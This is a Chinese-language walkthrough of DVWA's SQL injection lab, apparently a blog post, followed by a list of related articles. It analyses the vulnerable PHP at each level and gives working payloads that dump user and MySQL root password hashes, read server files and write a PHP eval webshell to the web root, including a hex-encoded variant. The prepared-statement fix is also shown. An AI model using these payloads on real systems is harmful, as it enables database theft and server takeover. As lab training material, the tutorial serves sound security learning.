SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱裤”,如今SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入分类:

SQLMap中的分类来看,SQL注入类型有以下5种:

UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询到账户的数据

下面对四种级别的代码进行分析。

Low Security Level:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>

由代码可知,通过REQUEST方式接受传递的参数id,再通过sql语句带入查询,并未设置任何过滤,因此可以进行sql注入利用。

Exploit

常见注入测试的POC

判断注入:

1   页面正常

1'  页面返回错误:报错“...use near ''1''' at line 1...”

1' or '1'='2 页面返回为空,查询失败

1' or '1'='1 页面正常,并返回更多信息,成功查询

判断存在的是字符型注入。

猜字段:

1' order by 2#

得到字段数为2

确定回显点:

1' union select 1,2# 

猜数据库:

1' union select 1,database()#

payload利用另一种方式:

1' union select user(),database()--+
得到数据库名:dvwa

PSunion查询结合了两个select查询结果,根据上面的order by语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用union查询结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
得到表名:guestbook,users

猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用编码就不用单引号,用单引号就不用编码)

得到列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用户数据:

列举出几种payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

得到用户数据:

admin 5f4dcc3b5aa765d61d8327deb882cf99

猜 root 用户:

1' union select 1,group_concat(user,password) from mysql.user#
得到root用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

读文件和写入拿shell

使用mysql的读写功能需要具有一定的权限。

secure_file_priv参数用来限制load_file,into outfile等相关读写执行函数作用于哪个指定目录。

当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出
当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制

通过命令查看secure-file-priv的当前值:

show global variables like '%secure%';
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)

由于我使用的是PHPStudy搭建的环境,MySQL没有设置过secure_file_priv时,默认为NULL

修改secure_file_priv为指定的目录:

Windows下的配置文件:../MySQL/my.ini

Linux下的配置文件:/etc/mysql/my.cnf(不同linux下的my.cnf位置路径不同,此处不一一列举)

[mysqld]内加入:

secure_file_priv = 

注意这里为空,表示可以导入导出到任意目录

重启mysql服务,接下来开始在DVWA中利用SQL注入进行导入导出的操作:

load_file()函数读取任意文件:

1' union select 1,load_file('E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\dvwa\\index.php')#

利用into outfile()函数写入一句话拿webshell

不知道路径的情况下,先通过报错得出网站的绝对路径:

1' union select 'xx',2 into outfile 'xx'#

得到路径:

E:\web\phpStudy2017\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php

我们直接into outfile一句话到根目录:

1' union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
由于单引号会引起闭合而导致查询失败,注意一句话中的cmd不能是单引号

或者整句使用双引号:

1' union select 1,"<?php @eval($_POST['cmd']);?>" into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#

或者采用编码方式,如十六进制编码的方式:

1' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
最后,导入一句话成功。

菜刀连接之即可。

Medium Security Level:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} } // This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);
?>

使用了mysqli_real_escape_string函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

Exploit

判断是否存在注入,注入是字符型还是数字型?

抓包更改参数id1' or 1=1 #,报错,

抓包更改参数id1 or 1=1 #,查询成功,

说明存在数字型注入。

(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。)

猜表名:

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到表名:guestbook,users

猜列名:

考虑到单引号被转义,可以利用 16 进制进行绕过,抓包更改参数id

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用户数据

抓包修改参数id

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
High Secuirty Level:
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

可以看到,与Low Secuity Level的代码相比,Medium Secuity Level的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。

Exploit

由于手工注入的过程与Low级别基本一样,直接最后一步演示下载数据。输入:

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Impossible Security Level:
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$id = $_GET[ 'id' ]; // Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); // Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
} // Generate Anti-CSRF token
generateSessionToken();
?>

可以看到,Impossible Secuity Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

 

DVWA SQL Injection 通关教程的更多相关文章

  1. DVWA Command Injection 通关教程

    Command Injection 介绍 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻 ...

  2. DVWA XSS (Stored) 通关教程

    Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...

  3. DVWA File Upload 通关教程

    File Upload,即文件上传.文件上传漏洞通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁 ...

  4. DVWA XSS (Reflected) 通关教程

    XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...

  5. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  6. DVWA SQL Injection(Blind) 通关教程

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是 ...

  7. sqlmap dvwa SQL Injection使用小记

    刚刚开始学习sql injection,初步使用sqlmap,使用 GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submi ...

  8. DVWA靶场之SQL Injection通关

    SQL注入,一个大概的手工流程: 判断是否有注入,什么类型 破解SQL语句中查询的字段数是多少 确定回显位置 破库 破表 破字段 获得内容 Low: <?php if( isset( $_REQ ...

  9. DVWA SQL Injection LOW

    最近在学习SQL注入,初出茅庐,就从dvwa开始吧 sql注入可以通过sqlmap工具实现,为了更好地了解原理,这里主要是手工注入 注入的一般流程为: 1,找到注入点,此步骤可通过工具 2,判断注入类 ...

随机推荐

  1. app版本升级的测试点

    移动端版本更新升级是一个比较重要的功能点,主要分为强制更新和非强制更新. 1.强制更新需要测试的点有: 1)强制升级是否可以升级成功 从老版本的包升级到新版版的包是否可以升级成功. 2)升级后的数据是 ...

  2. 升级 ASP.NET Core 3.0 设置 JSON 返回 PascalCase 格式与 SignalR 问题

    由于一些 JS 组件要求 JSON 格式是 PascalCase 格式,新版本 ASP.NET Core 3.0 中默认移除了 Newtonsoft.Json ,使用了微软自己实现的 System.T ...

  3. C# 调用腾讯即时通信 IM

    IM SDK API 概述 https://cloud.tencent.com/document/product/269/33543 /// <summary> /// IM SDK 初始 ...

  4. Vertx上传 官网Demo Java版

    package io.vertx.example.web.upload; import io.vertx.core.AbstractVerticle; import io.vertx.example. ...

  5. AD的故事继续在Sharepoint里续演

    本以为AD的开发深入工作,可能暂时先放放了,这不最近又一次接触了SP的知识领域,又一次见到了久违相识的老朋友AD域控了,让我没有想到其实服务器这块儿微软的份额这么大...不得不深思微软的核心业务是啥, ...

  6. i春秋-第三届“百越杯”福建省高校网络空间安全大赛-Do you know upload?

    进去提示有提示文件包含漏洞 拿到源码发现这里上传验证只有MIME验证 可直接抓包改 image/gif 绕过 接下来就是这次学到的点了 菜刀连接过后怎么都找不到flag文件,但是这里找到了数据库配置文 ...

  7. [TCP/IP] 三次握手过程中有哪些不安全性

    1)SYN flood 泛洪攻击 , 伪装的IP向服务器发送一个SYN请求建立连接,然后服务器向该IP回复SYN和ACK,但是找不到该IP对应的主机,当超时时服务器收不到ACK会重复发送.当大量的攻击 ...

  8. net core 2 读取appsettings.json

    问: .Net Core: Application startup exception: System.IO.FileNotFoundException: The configuration file ...

  9. 如何fork自己的github库?

    Github上我们经常fork其他人的代码,然后经过一通魔改后弄出"自己"的东西.但是现在我遇到了这么一个需求,就是我已经公开了一个自己的库(暂且叫parent),然后我想基于自己 ...

  10. 201871010133-赵永军《面向对象程序设计(java)》第十四周学习总结

    201871010133-赵永军<面向对象程序设计(java)>第十四周学习总结 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ ...